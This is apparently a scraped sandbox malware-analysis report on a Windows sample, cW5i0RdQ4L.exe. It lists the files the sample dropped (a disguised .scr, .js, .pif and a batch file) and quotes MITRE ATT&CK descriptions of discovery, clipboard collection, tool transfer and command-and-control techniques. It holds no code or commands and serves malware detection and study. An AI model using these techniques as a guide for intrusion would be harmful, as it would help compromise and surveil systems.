Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cW5i0RdQ4L.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O

C:\Users\user\AppData\Local\Temp\103495\Powder.pif

C:\Users\user\AppData\Local\Temp\103495\n

C:\Users\user\AppData\Local\Temp\Appraisal

C:\Users\user\AppData\Local\Temp\Barbie

C:\Users\user\AppData\Local\Temp\Centres

C:\Users\user\AppData\Local\Temp\Centres.bat (copy)

C:\Users\user\AppData\Local\Temp\Correct

C:\Users\user\AppData\Local\Temp\Fine

C:\Users\user\AppData\Local\Temp\Gloves

C:\Users\user\AppData\Local\Temp\Latin

C:\Users\user\AppData\Local\Temp\Serious

C:\Users\user\AppData\Local\Temp\Ski

Windows Analysis Report
cW5i0RdQ4L.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre